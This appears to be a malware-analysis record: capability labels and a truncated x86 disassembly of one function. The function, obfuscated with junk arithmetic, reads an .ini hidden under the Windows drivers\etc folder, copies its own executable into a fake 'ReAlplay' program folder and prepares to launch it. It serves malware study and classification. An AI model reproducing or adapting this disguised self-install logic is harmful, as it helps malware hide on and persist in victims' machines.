Function at 0x402290
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c9fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14ec
call fcn.00432740
mov eax, dword [0x460640]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0xff0], eax
xor eax, eax
xor dl, dl
mov byte [ebp - 0x814], dl
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, dword [0x45eccc]
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], dl
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x45ecd4]
cdq
mov edi, eax
push 0x14
mov ebx, edx
mov eax, esi
cdq
push 0x76aab896
push edx
push eax
mov dword [ebp - 0xfc8], ebx
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
call fcn.00432020
push 0x14
push 0x76aab896
push ebx
push edi
mov dword [ebp - 0xfac], eax
call fcn.00432020
mov ecx, dword [ebp - 0xfac]
mov edx, dword [ebp - 0xfb8]
push 0xf
push 0x3c2325f6
sub ecx, eax
mov eax, dword [ebp - 0xfbc]
push edx
push eax
mov dword [ebp - 0xfac], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfac]
push 0x13
push 0x2c2da253
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0xfac], ecx
call fcn.00432020
imul esi, esi, 0x392bae29
mov ecx, dword [ebp - 0xfac]
mov edx, dword [0x45ece8]
add ecx, eax
imul edx, edx, 0x471ee414
mov eax, dword [0x45ecdc]
imul eax, eax, 0x3dbf610d
add ecx, eax
add ecx, edx
add ecx, esi
push 0
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], 0
call fcn.00432707
add esp, 4
mov dword [ebp - 0xfe4], eax
mov eax, dword [0x45ecd4]
cdq
mov esi, eax
mov eax, dword [0x45eccc]
push 8
mov edi, edx
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
push 0xd
push 0x3dbf610d
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0x13
push 0x2c2da253
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ece8]
mov edx, dword [0x45ece0]
imul ecx, ecx, 0x471ee414
add ebx, eax
imul edx, edx, 0x392bae29
mov eax, dword [0x45ece4]
imul eax, eax, 0x31b5823a
sub ebx, eax
sub ebx, ecx
mov ecx, dword [str._r_____r____]
add ebx, edx
sub ebx, ecx
sub ebx, 0x1bcdabbc
mov dword [0x45eccc], ebx
call fcn.00449f83
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x44]
push eax
lea ecx, [ebp - 0x1008]
call fcn.004021e0
mov ecx, dword [ebp - 0x1008]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402477
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402490
sub eax, edx
mov dword [ebp - 0xfa8], eax
jne 0x403891
mov esi, dword [0x45ecdc]
mov ecx, dword [0x45ecd8]
mov ebx, dword [str._r_____r____]
push 8
mov eax, esi
cdq
push 0x974b287b
push edx
lea edi, [ecx + ebx]
push eax
imul edi, edi, 0x3dbf610d
mov dword [ebp - 0xfd4], eax
mov dword [ebp - 0xfd0], edx
call fcn.00432020
mov edx, dword [ebp - 0xfd0]
push 0x13
push 0x2c2da253
sub edi, eax
mov eax, dword [ebp - 0xfd4]
push edx
push eax
call fcn.00432020
imul esi, esi, 0x392bae29
imul ebx, ebx, 0x2c2da253
push str.C:_WiNDoWS_system32driversetcSeRvicE3.ini
push 0x100
add edi, eax
mov eax, dword [0x45ece0]
lea edx, [ebp - 0x214]
push edx
add esi, eax
push 0x44ee59
add esi, edi
push str.RAND
lea ecx, [ebx + esi + 0x31b5823a]
push str.AAAAA
mov dword [0x45ecd4], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 0x14
mov ebx, edx
mov eax, esi
cdq
push 0x76aab896
push edx
push eax
mov dword [ebp - 0xfc8], ebx
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
call fcn.00432020
push 0x14
push 0x76aab896
push ebx
push edi
mov dword [ebp - 0xfac], eax
call fcn.00432020
mov ecx, dword [ebp - 0xfac]
mov edx, dword [ebp - 0xfbc]
push 0xf
sub ecx, eax
mov eax, dword [ebp - 0xfb8]
push 0x3c2325f6
push eax
push edx
mov dword [ebp - 0xfac], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfac]
push 0x13
sub ecx, eax
push 0x2c2da253
mov eax, ebx
push eax
push edi
mov dword [ebp - 0xfac], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfac]
mov edx, dword [0x45ecdc]
add ecx, eax
mov eax, dword [0x45ece8]
imul edx, edx, 0x3dbf610d
imul esi, esi, 0x392bae29
imul eax, eax, 0x471ee414
add ecx, edx
add ecx, eax
add ecx, esi
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0x214]
push ecx
call fcn.00432702
add esp, 4
test eax, eax
jle 0x402629
lea edx, [ebp - 0x214]
push edx
call fcn.00432702
add esp, 4
mov dword [ebp - 0xfe4], eax
mov eax, dword [0x45ecd4]
mov edi, dword [0x45ece8]
mov esi, dword [0x45ece0]
imul edi, edi, 0x471ee414
cdq
imul esi, esi, 0x392bae29
mov ebx, eax
mov eax, dword [0x45eccc]
push 8
mov dword [ebp - 0xfc8], edx
cdq
push 0x974b287b
push edx
push eax
mov dword [ebp - 0xfcc], ebx
mov dword [ebp - 0xff4], edi
mov dword [ebp - 0xfa8], esi
call fcn.00432020
mov ecx, dword [ebp - 0xfc8]
push 0xd
push 0x3dbf610d
push ecx
push ebx
mov dword [ebp - 0xfac], eax
call fcn.00432020
mov ecx, dword [ebp - 0xfac]
mov edx, dword [ebp - 0xfc8]
push 0x13
push 0x2c2da253
add ecx, eax
push edx
mov eax, ebx
push eax
mov dword [ebp - 0xfac], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfac]
mov ebx, dword [str._r_____r____]
add ecx, eax
mov eax, ecx
mov ecx, dword [0x45ece4]
mov edx, ecx
imul edx, edx, 0x31b5823a
sub eax, edx
sub eax, edi
sub eax, ebx
lea edi, [eax + esi - 0x1bcdabbc]
mov eax, dword [ebp - 0xfe4]
cdq
mov esi, 0x190
idiv esi
mov dword [0x45eccc], edi
mov dword [ebp - 0xfe0], edx
and edx, 0x80000001
jns 0x402705
dec edx
or edx, 0xfffffffe
inc edx
cmp edx, 1
jne 0x4028e1
mov eax, ecx
cdq
mov esi, eax
push 0xd
mov dword [ebp - 0xfe8], edx
mov eax, edi
cdq
push 0x3dbf610d
push edx
push eax
mov dword [ebp - 0xfec], esi
call fcn.00432020
mov ecx, dword [0x45ecd0]
mov edx, dword [ebp - 0xfe8]
add edi, ecx
imul edi, edi, 0x3c2325f6
push 0x14
push 0x76aab896
push edx
push esi
sub edi, eax
call fcn.00432020
push 0x13
add edi, eax
mov eax, dword [ebp - 0xfe8]
push 0x2c2da253
push eax
push esi
call fcn.00432020
mov ecx, dword [0x45ece0]
mov edx, dword [0x45ecdc]
imul ecx, ecx, 0x42a7b17d
add edi, eax
imul edx, edx, 0x31b5823a
mov eax, dword [ebp - 0xfe0]
add edi, ecx
mov ecx, dword [0x45ecc8]
sub edi, edx
dec eax
mov dword [ebp - 0xfac], eax
mov eax, dword [0x45ecd8]
cdq
mov dword [ebp - 0xfb4], eax
mov eax, ebx
imul eax, eax, 0x2c2da253
mov dword [ebp - 0xfb0], edx
mov edx, dword [0x45ecd4]
mov dword [ebp - 0xfd8], eax
lea eax, [ecx + edx]
imul eax, eax, 0x68b4d785
mov dword [ebp - 0xfdc], eax
push 0x10
mov eax, ebx
cdq
push 0xe4325444
push edx
push eax
mov dword [0x45ecdc], edi
call fcn.00432020
mov ecx, dword [ebp - 0xfec]
mov esi, eax
mov eax, dword [ebp - 0xfdc]
push 0x14
sub esi, eax
mov eax, dword [ebp - 0xfe8]
push 0x76aab896
push eax
push ecx
call fcn.00432020
mov edx, dword [ebp - 0xfb0]
push 0xf
push 0x3c2325f6
sub esi, eax
mov eax, dword [ebp - 0xfb4]
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfb0]
push 0x13
sub esi, eax
push 0x2c2da253
mov edx, dword [ebp - 0xfb4]
push ecx
push edx
call fcn.00432020
mov edx, dword [ebp - 0xfd8]
mov ecx, dword [0x45ecd8]
sub esi, eax
mov eax, dword [ebp - 0xfe0]
add esi, edx
inc eax
mov dword [ebp - 0xfe4], eax
push 8
mov eax, edi
cdq
push 0x974b287b
push edx
add ebx, ecx
push eax
imul ebx, ebx, 0x3dbf610d
mov dword [0x45ece4], esi
mov dword [ebp - 0xfd4], eax
mov dword [ebp - 0xfd0], edx
call fcn.00432020
mov edx, dword [ebp - 0xfd0]
push 0x13
push 0x2c2da253
sub ebx, eax
mov eax, dword [ebp - 0xfd4]
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfd8]
mov edx, dword [0x45ece0]
add eax, ecx
mov ecx, edi
imul ecx, ecx, 0x392bae29
add eax, ebx
add ecx, eax
lea eax, [ecx + edx + 0x31b5823a]
mov ecx, dword [ebp - 0xfe0]
add ecx, 3
mov dword [0x45ecd4], eax
mov dword [ebp - 0xfdc], ecx
jmp 0x402a3c
mov eax, dword [0x45ecd8]
cdq
mov dword [ebp - 0xfb4], eax
push 0xffffffffffffffeb
mov eax, ecx
mov dword [ebp - 0xfb0], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ecd4]
mov edi, dword [0x45ecc8]
mov esi, eax
lea eax, [edi + edx]
imul eax, eax, 0x68b4d785
sub esi, eax
push 0x10
mov eax, ebx
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfb4]
push 0xf
push 0x3c2325f6
push ecx
push edx
add esi, eax
call fcn.00432020
mov ecx, dword [ebp - 0xfb4]
push 0x13
sub esi, eax
mov eax, dword [ebp - 0xfb0]
push 0x2c2da253
push eax
push ecx
call fcn.00432020
imul ebx, ebx, 0x2c2da253
mov edx, dword [ebp - 0xfe0]
sub esi, eax
mov eax, dword [0x45ecd0]
mov dword [ebp - 0xfac], edx
cdq
add esi, ebx
mov ebx, eax
push 0xd
mov dword [ebp - 0xff8], edx
mov eax, esi
cdq
push 0x3dbf610d
push edx
push eax
mov dword [0x45ece4], esi
mov dword [ebp - 0xffc], ebx
call fcn.00432020
mov ecx, dword [ebp - 0xff8]
push 3
push 0xce4a7dc6
push ecx
push ebx
mov dword [ebp - 0xfdc], eax
call fcn.00432020
mov edx, dword [ebp - 0xff8]
mov ebx, eax
mov eax, dword [ebp - 0xfdc]
push 0x13
push 0x392bae29
sub ebx, eax
mov eax, dword [ebp - 0xffc]
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xff8]
mov edx, dword [ebp - 0xffc]
push 8
push 0x42a7b17d
add ebx, eax
push ecx
push edx
call fcn.00432020
imul edi, edi, 0x31b5823a
add ebx, eax
mov eax, dword [0x45ece0]
imul eax, eax, 0xafbbe1e
add ebx, eax
mov eax, dword [ebp - 0xfe0]
sub ebx, edi
mov edi, dword [0x45ecdc]
lea ecx, [eax + 2]
add eax, 4
mov dword [0x45ecc8], ebx
mov dword [ebp - 0xfe4], ecx
mov dword [ebp - 0xfdc], eax
mov eax, dword [0x45ecd4]
cdq
mov ebx, eax
mov eax, dword [0x45eccc]
push 0x13
mov ecx, edx
push 0x2c2da253
cdq
push ecx
push ebx
mov dword [ebp - 0xfcc], ebx
mov dword [ebp - 0xfc8], ecx
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
call fcn.00432020
mov edx, dword [ebp - 0xfb8]
push 0x14
push 0x76aab896
mov dword [ebp - 0xfd8], eax
mov eax, dword [ebp - 0xfbc]
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfc8]
push 0x14
push 0x76aab896
push ecx
push ebx
mov dword [ebp - 0xfc0], eax
call fcn.00432020
mov ecx, dword [ebp - 0xfc0]
mov edx, dword [ebp - 0xfb8]
push 0xf
push 0x3c2325f6
sub ecx, eax
mov eax, dword [ebp - 0xfbc]
push edx
push eax
mov dword [ebp - 0xfc0], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfc0]
mov edx, edi
imul edx, edx, 0x3dbf610d
sub ecx, eax
add edx, dword [ebp - 0xff4]
mov eax, dword [0x45eccc]
imul eax, eax, 0x392bae29
add edx, ecx
mov ecx, dword [ebp - 0xfe4]
add eax, edx
add eax, dword [ebp - 0xfd8]
mov dword [str._r_____r____], eax
mov eax, 0x190
cmp ecx, eax
jl 0x402b88
mov eax, dword [ebp - 0xfc8]
push 0xd
push 0x3dbf610d
push eax
mov ecx, ebx
push ecx
call fcn.00432020
mov edx, dword [ebp - 0xfb8]
push 8
push 0x974b287b
mov ebx, eax
mov eax, dword [ebp - 0xfbc]
push edx
push eax
call fcn.00432020
mov edx, dword [ebp - 0xff4]
mov ecx, esi
imul ecx, ecx, 0x31b5823a
add ebx, eax
mov eax, dword [ebp - 0xfa8]
sub ebx, ecx
mov ecx, dword [str._r_____r____]
sub ebx, edx
mov edx, dword [ebp - 0xfd8]
sub ebx, ecx
mov ecx, dword [ebp - 0xfe0]
add ebx, eax
lea eax, [ebx + edx - 0x1bcdabbc]
dec ecx
mov dword [0x45eccc], eax
mov dword [ebp - 0xfe4], ecx
mov eax, dword [0x45ece8]
cdq
mov ebx, eax
mov eax, dword [0x45ece0]
push 8
mov dword [ebp - 0xfc0], edx
cdq
push 0x974b287b
push edx
push eax
mov dword [ebp - 0xfc4], ebx
call fcn.00432020
mov edx, dword [ebp - 0xfc0]
push 0x14
push 0x471ee414
push edx
push ebx
mov dword [ebp - 0xfa8], eax
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
push 0x13
add ecx, eax
mov eax, dword [ebp - 0xfc0]
push 0x392bae29
push eax
mov edx, ebx
push edx
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
mov ebx, dword [0x45ece0]
sub ecx, eax
mov eax, ebx
imul eax, eax, 0x68b4d785
sub ecx, eax
mov eax, dword [0x45ece8]
mov edx, dword [ebp - 0xfd8]
imul eax, eax, 0x31b5823a
add ecx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x2c2da253
add ecx, eax
sub ecx, edx
mov dword [0x45ecd8], ecx
mov ecx, dword [ebp - 0xfdc]
mov eax, 0x190
cmp ecx, eax
jl 0x402cc5
mov eax, esi
mov esi, dword [0x45eccc]
cdq
mov dword [ebp - 0xfec], eax
push 0xd
mov dword [ebp - 0xfe8], edx
mov eax, esi
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd0]
mov edx, dword [ebp - 0xfe8]
add esi, ecx
imul esi, esi, 0x3c2325f6
push 0x14
push 0x76aab896
sub esi, eax
mov eax, dword [ebp - 0xfec]
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfe8]
mov edx, dword [ebp - 0xfec]
push 0x13
push 0x2c2da253
push ecx
push edx
add esi, eax
call fcn.00432020
imul ebx, ebx, 0x42a7b17d
imul edi, edi, 0x31b5823a
add esi, eax
add esi, ebx
sub esi, edi
mov dword [0x45ecdc], esi
push 0
push str.c:program_filesReAlplay
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [0x45ecd0]
cdq
mov esi, eax
mov eax, dword [0x45ece4]
push 0xd
mov edi, edx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
push 3
push 0xce4a7dc6
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0x13
push 0x392bae29
push edi
sub eax, ebx
push esi
mov ebx, eax
call fcn.00432020
push 8
push 0x42a7b17d
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ecc8]
add ebx, eax
imul ecx, ecx, 0x31b5823a
mov eax, dword [0x45ece0]
imul eax, eax, 0xafbbe1e
add ebx, eax
mov eax, dword [ebp - 0xfac]
imul eax, eax, 0x25
lea eax, [eax + str.Installing]
push eax
lea edx, [ebp - 0x114]
sub ebx, ecx
push str.c:program_filesReAlplay_s
push edx
mov dword [0x45ecc8], ebx
mov dword [ebp - 0xfe0], eax
call fcn.004320ca
mov eax, dword [0x45ecd8]
cdq
add esp, 0xc
mov edi, eax
mov eax, dword [0x45ece4]
push 0xffffffffffffffeb
mov dword [ebp - 0xfb0], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecd4]
add ecx, eax
imul ecx, ecx, 0x68b4d785
push 0x10
mov eax, esi
cdq
push 0xe4325444
push edx
push eax
sub ebx, ecx
call fcn.00432020
mov edx, dword [ebp - 0xfb0]
push 0xf
add ebx, eax
push 0x3c2325f6
push edx
push edi
call fcn.00432020
push 0x13
sub ebx, eax
mov eax, dword [ebp - 0xfb0]
push 0x2c2da253
push eax
push edi
call fcn.00432020
imul esi, esi, 0x2c2da253
sub ebx, eax
push 0
lea ecx, [ebp - 0x114]
add ebx, esi
push ecx
mov dword [0x45ece4], ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [0x45ecd0]
cdq
mov esi, eax
mov eax, dword [0x45ece4]
push 0xd
mov edi, edx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
push 3
push 0xce4a7dc6
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0x13
push 0x392bae29
push edi
sub eax, ebx
push esi
mov ebx, eax
call fcn.00432020
push 8
push 0x42a7b17d
push edi
push esi
add ebx, eax
call fcn.00432020
mov edx, dword [0x45ece0]
mov ecx, dword [ebp - 0xfe4]
imul edx, edx, 0xafbbe1e
add ebx, eax
imul ecx, ecx, 0x25
mov eax, dword [0x45ecc8]
imul eax, eax, 0x31b5823a
add ebx, edx
mov edx, dword [ebp - 0xfe0]
add ecx, str.Installing
push ecx
push edx
sub ebx, eax
lea eax, [ebp - 0x114]
push str.c:program_filesReAlplay_s_s.exe
push eax
mov dword [0x45ecc8], ebx
call fcn.004320ca
mov esi, dword [0x45ece8]
mov eax, esi
cdq
add esp, 0x10
mov ebx, eax
mov eax, dword [0x45ecd4]
push 0x13
mov dword [ebp - 0xfc0], edx
cdq
push 0x2c2da253
mov dword [ebp - 0xfc4], ebx
mov dword [ebp - 0xfcc], eax
mov dword [ebp - 0xfc8], edx
push edx
push eax
call fcn.00432020
mov edi, dword [0x45ece0]
mov dword [ebp - 0xfd8], eax
push 8
mov eax, edi
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfc0]
push 0x14
push 0x471ee414
push ecx
push ebx
mov dword [ebp - 0xfa8], eax
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfc0]
push 0x13
push 0x392bae29
add ecx, eax
push edx
mov eax, ebx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
imul edi, edi, 0x68b4d785
mov ecx, dword [ebp - 0xfa8]
sub ecx, eax
mov eax, dword [0x45ecc8]
mov edx, esi
imul eax, eax, 0x2c2da253
imul edx, edx, 0x31b5823a
sub ecx, edi
mov edi, dword [0x45eccc]
add ecx, edx
add ecx, eax
sub ecx, dword [ebp - 0xfd8]
push 0x14
mov eax, edi
cdq
push 0x76aab896
push edx
push eax
mov dword [0x45ecd8], ecx
mov dword [ebp - 0xfdc], 0
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
call fcn.00432020
mov ecx, dword [ebp - 0xfc8]
mov edx, dword [ebp - 0xfcc]
push 0x14
push 0x76aab896
push ecx
push edx
mov ebx, eax
call fcn.00432020
mov ecx, dword [ebp - 0xfbc]
push 0xf
sub ebx, eax
mov eax, dword [ebp - 0xfb8]
push 0x3c2325f6
push eax
push ecx
call fcn.00432020
imul esi, esi, 0x471ee414
imul edi, edi, 0x392bae29
mov edx, dword [0x45ecdc]
mov ecx, dword [ebp - 0xfd8]
imul edx, edx, 0x3dbf610d
sub ebx, eax
add ebx, edx
add esi, ecx
add esi, ebx
add edi, esi
mov dword [str._r_____r____], edi
push 0x100
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea ecx, [ebp - 0x214]
push 0x8000
push ecx
call fcn.0043ef91
mov dword [ebp - 0xfac], eax
mov eax, dword [0x45ecd4]
cdq
add esp, 0xc
mov edi, eax
mov eax, dword [0x45eccc]
push 8
mov ebx, edx
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
push 0xd
push 0x3dbf610d
push ebx
push edi
mov esi, eax
call fcn.00432020
push 0x13
push 0x2c2da253
push ebx
push edi
add esi, eax
call fcn.00432020
mov edx, dword [0x45ece4]
mov ecx, dword [0x45ece0]
imul edx, edx, 0x31b5823a
mov edi, dword [str._r_____r____]
imul ecx, ecx, 0x392bae29
add esi, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x471ee414
sub esi, edx
sub esi, eax
mov eax, dword [ebp - 0xfac]
add esi, ecx
sub esi, edi
sub esi, 0x1bcdabbc
cmp eax, 0xffffffff
mov dword [0x45eccc], esi
je 0x4033da
mov esi, dword [0x45ecdc]
mov ecx, dword [0x45ecd8]
push 8
mov eax, esi
cdq
push 0x974b287b
push edx
lea ebx, [ecx + edi]
push eax
imul ebx, ebx, 0x3dbf610d
mov dword [ebp - 0xfd4], eax
mov dword [ebp - 0xfd0], edx
call fcn.00432020
mov edx, dword [ebp - 0xfd0]
push 0x13
push 0x2c2da253
sub ebx, eax
mov eax, dword [ebp - 0xfd4]
push edx
push eax
call fcn.00432020
imul esi, esi, 0x392bae29
imul edi, edi, 0x2c2da253
add ebx, eax
add esi, dword [0x45ece0]
add esi, ebx
lea ecx, [edi + esi + 0x31b5823a]
mov edi, dword [ebp - 0xfac]
push 0x100000
push 0x4615c0
push edi
mov dword [0x45ecd4], ecx
call fcn.0043db9e
mov esi, eax
push edi
mov dword [ebp - 0xfa8], esi
call fcn.0043dd34
add esp, 0x10
cmp esi, 0x2800
jle 0x4033d4
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov esi, eax
push 0xd
mov edi, edx
mov eax, ebx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ecd0]
add ebx, edx
imul ebx, ebx, 0x3c2325f6
push 0x14
push 0x76aab896
push edi
push esi
sub ebx, eax
call fcn.00432020
push 0x13
push 0x2c2da253
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ecdc]
add ebx, eax
imul ecx, ecx, 0x31b5823a
mov eax, dword [0x45ece0]
imul eax, eax, 0x42a7b17d
add ebx, eax
sub ebx, ecx
push 0
mov dword [0x45ecdc], ebx
call fcn.00432707
push eax
push 0x44eb00
push 0x4618c0
call fcn.004320ca
push 0x180
lea edx, [ebp - 0x114]
push 0x8302
push edx
call fcn.0043ef91
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x403254
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403215
sub eax, edx
lea eax, [ebp + eax - 0x118]
push str.s.exe
push eax
call fcn.004320ca
push 0x180
lea ecx, [ebp - 0x114]
push 0x8302
push ecx
call fcn.0043ef91
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x4033d4
mov eax, dword [0x45ecd8]
cdq
mov dword [ebp - 0xfb4], eax
mov eax, dword [0x45ece4]
push 0xffffffffffffffeb
mov dword [ebp - 0xfb0], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ecd4]
mov edi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecc8]
add eax, edx
imul eax, eax, 0x68b4d785
sub ebx, eax
push 0x10
mov eax, edi
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfb4]
push 0xf
push 0x3c2325f6
push ecx
push edx
add ebx, eax
call fcn.00432020
mov ecx, dword [ebp - 0xfb4]
push 0x13
sub ebx, eax
mov eax, dword [ebp - 0xfb0]
push 0x2c2da253
push eax
push ecx
call fcn.00432020
imul edi, edi, 0x2c2da253
mov edx, dword [ebp - 0xfa8]
push edx
sub ebx, eax
push 0x4615c0
add ebx, edi
push esi
mov dword [0x45ece4], ebx
call fcn.0043b576
push 2
push 0
push esi
call fcn.0043b30f
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov eax, dword [0x45ecd0]
cdq
add esp, 0x18
mov edi, eax
mov eax, dword [0x45ece4]
push 0xd
mov ebx, edx
cdq
push 0x3dbf610d
push edx
push eax
mov dword [ebp - 0xff8], ebx
call fcn.00432020
push 3
push 0xce4a7dc6
push ebx
push edi
mov dword [ebp - 0xfa8], eax
call fcn.00432020
mov ebx, eax
mov eax, dword [ebp - 0xfa8]
sub ebx, eax
push 0x13
mov eax, dword [ebp - 0xff8]
push 0x392bae29
push eax
push edi
call fcn.00432020
mov ecx, dword [ebp - 0xff8]
push 8
push 0x42a7b17d
push ecx
push edi
add ebx, eax
call fcn.00432020
mov edx, dword [0x45ece0]
mov ecx, dword [ebp - 0xfe4]
imul edx, edx, 0xafbbe1e
add ebx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x31b5823a
add ebx, edx
push ecx
lea edx, [ebp - 0xe14]
push edx
sub ebx, eax
push esi
mov dword [0x45ecc8], ebx
call fcn.0043b576
push esi
call fcn.0043dd34
add esp, 0x10
mov dword [ebp - 0xfdc], 1
mov esi, dword [0x45eccc]
mov eax, dword [0x45ece8]
mov edi, dword [0x45ecdc]
imul eax, eax, 0x471ee414
mov dword [ebp - 0xff4], eax
push 0x14
mov eax, edi
cdq
push 0x76aab896
push edx
push eax
call fcn.00432020
mov ebx, eax
mov eax, dword [0x45ecd8]
push 3
cdq
push 0xce4a7dc6
push edx
push eax
call fcn.00432020
sub eax, ebx
mov ebx, eax
mov eax, dword [0x45ecd0]
push 0x10
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
sub ebx, eax
mov eax, dword [0x45ecc8]
mov ecx, dword [0x45ece4]
imul eax, eax, 0x3dbf610d
add ebx, eax
mov eax, dword [0x45ecd8]
imul eax, eax, 0x76aab896
add ebx, eax
mov eax, dword [ebp - 0xfdc]
sub ebx, ecx
cmp eax, 1
mov ecx, dword [ebp - 0xff4]
lea edx, [ebx + ecx + 0x31b5823a]
mov dword [0x45ecd0], edx
jne 0x403886
mov eax, dword [0x45ecd4]
cdq
mov ebx, eax
push 0x14
mov dword [ebp - 0xfc8], edx
mov eax, esi
cdq
push 0x76aab896
push edx
push eax
mov dword [ebp - 0xfcc], ebx
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
call fcn.00432020
mov ecx, dword [ebp - 0xfc8]
push 0x14
push 0x76aab896
push ecx
push ebx
mov dword [ebp - 0xfa8], eax
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfb8]
push 0xf
push 0x3c2325f6
sub ecx, eax
mov eax, dword [ebp - 0xfbc]
push edx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfc8]
push 0x13
push 0x2c2da253
sub ecx, eax
push edx
mov eax, ebx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
imul edi, edi, 0x3dbf610d
imul esi, esi, 0x392bae29
mov ecx, dword [ebp - 0xfa8]
mov ebx, dword [ebp - 0xff4]
add ecx, eax
add edi, ebx
add edi, ecx
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x214]
push str._s__33201_
add esi, edi
push edx
mov dword [str._r_____r____], esi
call fcn.004320ca
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x104c]
rep stosd dword es:[edi], eax
mov eax, dword [0x45ecd4]
cdq
add esp, 0xc
mov esi, eax
mov eax, dword [0x45eccc]
push 8
mov edi, edx
cdq
push 0x974b287b
push edx
push eax
mov dword [ebp - 0x104c], 0x44
call fcn.00432020
push 0xd
push 0x3dbf610d
push edi
push esi
mov ebx, eax
call fcn.00432020
add ebx, eax
push 0x13
push 0x2c2da253
push edi
push esi
call fcn.00432020
mov ecx, dword [0x45ece8]
mov edx, dword [0x45ece0]
imul ecx, ecx, 0x471ee414
mov edi, dword [str._r_____r____]
imul edx, edx, 0x392bae29
mov esi, dword [0x45ecdc]
add ebx, eax
mov eax, dword [0x45ece4]
imul eax, eax, 0x31b5823a
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x45ecd8]
add ebx, edx
push 8
sub ebx, edi
mov eax, esi
cdq
sub ebx, 0x1bcdabbc
push 0x974b287b
